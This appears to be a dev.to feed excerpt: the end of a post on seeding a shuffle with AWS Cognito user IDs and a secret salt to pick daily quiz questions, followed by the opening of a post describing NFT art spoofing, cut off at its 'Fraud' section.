&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="kd"&gt;function&lt;/span&gt; &lt;span class="nf"&gt;shuffle&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;array&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="kd"&gt;var&lt;/span&gt; &lt;span class="nx"&gt;currentIndex&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;array&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;length&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;i&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

  &lt;span class="c1"&gt;// While there remain elements to shuffle…&lt;/span&gt;
  &lt;span class="k"&gt;while &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;currentIndex&lt;/span&gt; &lt;span class="o"&gt;!=&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;

    &lt;span class="c1"&gt;// Pick a remaining element…&lt;/span&gt;
    &lt;span class="nx"&gt;i&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nb"&gt;Math&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;floor&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nb"&gt;Math&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;random&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="nx"&gt;currentIndex&lt;/span&gt;&lt;span class="o"&gt;--&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;

    &lt;span class="c1"&gt;// And swap it with the current element.&lt;/span&gt;
    &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nx"&gt;array&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nx"&gt;currentIndex&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt; &lt;span class="nx"&gt;array&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nx"&gt;randomIndex&lt;/span&gt;&lt;span class="p"&gt;]]&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;
    &lt;span class="nx"&gt;array&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nx"&gt;randomIndex&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt; &lt;span class="nx"&gt;array&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nx"&gt;currentIndex&lt;/span&gt;&lt;span class="p"&gt;]];&lt;/span&gt;
  &lt;span class="p"&gt;}&lt;/span&gt;

  &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="nx"&gt;array&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;arr&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nb"&gt;Array&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="k"&gt;from&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nc"&gt;Array&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;15&lt;/span&gt;&lt;span class="p"&gt;).&lt;/span&gt;&lt;span class="nf"&gt;keys&lt;/span&gt;&lt;span class="p"&gt;())&lt;/span&gt;
&lt;span class="nf"&gt;shuffle&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;arr&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;But if you look closely, this is still shuffling randomly. Now we need to make it pseudorandom using the &lt;code&gt;user_id&lt;/code&gt;s. The &lt;code&gt;userId&lt;/code&gt; after removing hyphens given by AWS Cognito were of length 32. So I had to figure out a way to use these string bytes for randomizing. Here is my way of doing it:&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Step 1&lt;/strong&gt;&lt;br&gt;
Repeat the string until it is of S length&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;multiplier&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nb"&gt;Math&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;ceil&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;array&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;length&lt;/span&gt; &lt;span class="o"&gt;/&lt;/span&gt; &lt;span class="nx"&gt;str&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;length&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="k"&gt;for &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kd"&gt;let&lt;/span&gt; &lt;span class="nx"&gt;i&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="nx"&gt;i&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&lt;/span&gt; &lt;span class="nx"&gt;multiplier&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="o"&gt;++&lt;/span&gt;&lt;span class="nx"&gt;i&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
  &lt;span class="nx"&gt;clonedStr&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;clonedStr&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="nx"&gt;newStr&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Step 2&lt;/strong&gt;&lt;br&gt;
Now we can use this &lt;code&gt;clonedStr&lt;/code&gt; byte values to pick random Indices. Here is how the modified while loop would like:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="k"&gt;while &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;currentIndex&lt;/span&gt; &lt;span class="o"&gt;!=&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="nx"&gt;rndSeed&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;rndSeed&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="nx"&gt;clonedStr&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;charCodeAt&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;currentIndex&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;

    &lt;span class="c1"&gt;// Pick a remaining element.&lt;/span&gt;
    &lt;span class="nx"&gt;randomIndex&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;rndSeed&lt;/span&gt; &lt;span class="o"&gt;%&lt;/span&gt; &lt;span class="nx"&gt;array&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;length&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="nx"&gt;currentIndex&lt;/span&gt;&lt;span class="o"&gt;--&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

    &lt;span class="c1"&gt;// And swap it with the current element.&lt;/span&gt;
    &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nx"&gt;array&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nx"&gt;currentIndex&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt; &lt;span class="nx"&gt;array&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nx"&gt;randomIndex&lt;/span&gt;&lt;span class="p"&gt;]]&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;
    &lt;span class="nx"&gt;array&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nx"&gt;randomIndex&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt; &lt;span class="nx"&gt;array&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nx"&gt;currentIndex&lt;/span&gt;&lt;span class="p"&gt;]];&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;I basically pick the ASCII code of the character and mod it with the length of the array to get a pseudo randomIndex. Since the &lt;code&gt;userId&lt;/code&gt;s are fixed, this loop always shuffles the array in a deterministic manner.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Step 3&lt;/strong&gt;&lt;br&gt;
To add additional security, I used a custom Salt value. So even if my algorithm and &lt;code&gt;userId&lt;/code&gt; is exposed. Im relying on the secretly stored environment variable for securing the salt. Here is how I implemented salt:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;secretSalt&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;process&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;env&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;SECRET_SALT&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="kd"&gt;let&lt;/span&gt; &lt;span class="nx"&gt;newStr&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="dl"&gt;""&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="k"&gt;for &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kd"&gt;let&lt;/span&gt; &lt;span class="nx"&gt;i&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="nx"&gt;i&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&lt;/span&gt; &lt;span class="nx"&gt;str&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;length&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="nx"&gt;i&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;i&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt; &lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="nx"&gt;newStr&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;newStr&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="nb"&gt;String&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;fromCharCode&lt;/span&gt;&lt;span class="p"&gt;((&lt;/span&gt;&lt;span class="nx"&gt;str&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;charCodeAt&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;i&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="nx"&gt;secretSalt&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;%&lt;/span&gt; &lt;span class="mi"&gt;256&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;I stuff each byte with my salt so the attacker needs to also get my salt to know his sequence. It might not stop them entirely, but definitely will slow them down significantly.&lt;/p&gt;

&lt;h2&gt;
  
  
  The final version
&lt;/h2&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="k"&gt;import&lt;/span&gt; &lt;span class="nx"&gt;moment&lt;/span&gt; &lt;span class="k"&gt;from&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;moment&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;TOTAL_NUMBER_OF_QUESTIONS&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;150&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;QUIZ_START_DATE&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;moment&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;20220919&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;YYYYMMDD&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;

&lt;span class="kd"&gt;function&lt;/span&gt; &lt;span class="nf"&gt;shuffle&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;array&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nx"&gt;number&lt;/span&gt;&lt;span class="p"&gt;[],&lt;/span&gt; &lt;span class="nx"&gt;str&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nx"&gt;string&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="kd"&gt;let&lt;/span&gt; &lt;span class="nx"&gt;currentIndex&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;array&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;length&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;randomIndex&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nx"&gt;number&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;multiplier&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nb"&gt;Math&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;ceil&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;array&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;length&lt;/span&gt; &lt;span class="o"&gt;/&lt;/span&gt; &lt;span class="nx"&gt;str&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;length&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;

    &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;secretSalt&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;process&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;env&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;SECRET_SALT&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="kd"&gt;let&lt;/span&gt; &lt;span class="nx"&gt;newStr&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="dl"&gt;""&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="k"&gt;for &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kd"&gt;let&lt;/span&gt; &lt;span class="nx"&gt;i&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="nx"&gt;i&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&lt;/span&gt; &lt;span class="nx"&gt;str&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;length&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="nx"&gt;i&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;i&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt; &lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="nx"&gt;newStr&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;newStr&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="nb"&gt;String&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;fromCharCode&lt;/span&gt;&lt;span class="p"&gt;((&lt;/span&gt;&lt;span class="nx"&gt;str&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;charCodeAt&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;i&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="nx"&gt;secretSalt&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;%&lt;/span&gt; &lt;span class="mi"&gt;256&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="kd"&gt;let&lt;/span&gt; &lt;span class="nx"&gt;clonedStr&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="dl"&gt;""&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="k"&gt;for &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kd"&gt;let&lt;/span&gt; &lt;span class="nx"&gt;i&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="nx"&gt;i&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&lt;/span&gt; &lt;span class="nx"&gt;multiplier&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="o"&gt;++&lt;/span&gt;&lt;span class="nx"&gt;i&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="nx"&gt;clonedStr&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;clonedStr&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="nx"&gt;newStr&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

    &lt;span class="kd"&gt;let&lt;/span&gt; &lt;span class="nx"&gt;rndSeed&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

    &lt;span class="c1"&gt;// While there remain elements to shuffle.&lt;/span&gt;
    &lt;span class="k"&gt;while &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;currentIndex&lt;/span&gt; &lt;span class="o"&gt;!=&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="nx"&gt;rndSeed&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;rndSeed&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="nx"&gt;clonedStr&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;charCodeAt&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;currentIndex&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;

        &lt;span class="c1"&gt;// Pick a remaining element.&lt;/span&gt;
        &lt;span class="nx"&gt;randomIndex&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;rndSeed&lt;/span&gt; &lt;span class="o"&gt;%&lt;/span&gt; &lt;span class="nx"&gt;array&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;length&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
        &lt;span class="nx"&gt;currentIndex&lt;/span&gt;&lt;span class="o"&gt;--&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

        &lt;span class="c1"&gt;// And swap it with the current element.&lt;/span&gt;
        &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nx"&gt;array&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nx"&gt;currentIndex&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt; &lt;span class="nx"&gt;array&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nx"&gt;randomIndex&lt;/span&gt;&lt;span class="p"&gt;]]&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;
        &lt;span class="nx"&gt;array&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nx"&gt;randomIndex&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt; &lt;span class="nx"&gt;array&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nx"&gt;currentIndex&lt;/span&gt;&lt;span class="p"&gt;]];&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt;

    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="nx"&gt;array&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="kd"&gt;function&lt;/span&gt; &lt;span class="nf"&gt;getTodaysQuestions&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;userId&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nx"&gt;string&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;questionsArray&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nb"&gt;Array&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="k"&gt;from&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nc"&gt;Array&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;TOTAL_NUMBER_OF_QUESTIONS&lt;/span&gt;&lt;span class="p"&gt;).&lt;/span&gt;&lt;span class="nf"&gt;keys&lt;/span&gt;&lt;span class="p"&gt;())&lt;/span&gt;
    &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;seedString&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;userId&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;split&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;-&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;).&lt;/span&gt;&lt;span class="nf"&gt;join&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;""&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="nf"&gt;shuffle&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;questionsArray&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;seedString&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;today&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;moment&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
    &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;diff&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;today&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;diff&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;QUIZ_START_DATE&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;days&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;

    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="nx"&gt;questionsArray&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;slice&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;diff&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="mi"&gt;5&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;diff&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="mi"&gt;5&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="nf"&gt;getTodaysQuestions&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;noob-master-69&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h2&gt;
  
  
  Conclusion
&lt;/h2&gt;

&lt;p&gt;Thanks for reading. Hope it was useful to you in some way. Please feel free to reach out to me if you want to share improvements or feedbacks. Always happy to know.&lt;br&gt;
Reach out to me via &lt;a href="https://twitter.com/HarishTeens" rel="noopener noreferrer"&gt;Twitter&lt;/a&gt;&lt;/p&gt;

</description>
      <category>javascript</category>
      <category>algorithms</category>
    </item>
    <item>
      <title>The Tale of Digital Art Theft - Part1</title>
      <dc:creator>Harish</dc:creator>
      <pubDate>Sun, 20 Feb 2022 17:42:51 +0000</pubDate>
      <link>https://dev.to/harishteens/the-tale-of-digital-art-theft-part1-3ak1</link>
      <guid>https://dev.to/harishteens/the-tale-of-digital-art-theft-part1-3ak1</guid>
      <description>&lt;p&gt;While NFTs are booming, or probably they could be a bubble. Nobody can tell. What's real is digital art theft! This project tries to solve this problem by gathering and organising information from all appropriate sources. Hence I named this project "The Collective Truth(TCT)".&lt;/p&gt;

&lt;h2&gt;
  
  
  The problem
&lt;/h2&gt;

&lt;p&gt;Let's discuss the NFT Art theft in detail first before we move ahead. There are several ways in which bad actors steal digital art. The two common kinds are Spoofing and Fraud.&lt;/p&gt;

&lt;h3&gt;
  
  
  Spoofing
&lt;/h3&gt;

&lt;p&gt;Bad actors disguise to be the original owner of the art and trick people into buying. Since every art piece is made publicly available, anybody could view it. And if you could view it, you can download it and save a copy. &lt;/p&gt;

&lt;p&gt;For example, Bad actors have bots set up to scrape of new and hot NFTs that are listed and re-mint them on their account. Yes, NFTs are non-transferrable and secure. But no buyer is going to go and look for the token address and make sense out of it. All they see is the art, and if it looks alike. They most probably are going to believe it. Usually these bad actors, go a level above and maintain an appealing social media profile by creating fake accounts that resemble the original creator. It's quite compelling and the rush often gets people into buying something not what the seller is claiming to be.&lt;/p&gt;

&lt;h3&gt;
  
  
  Fraud
&lt;/h3&gt;

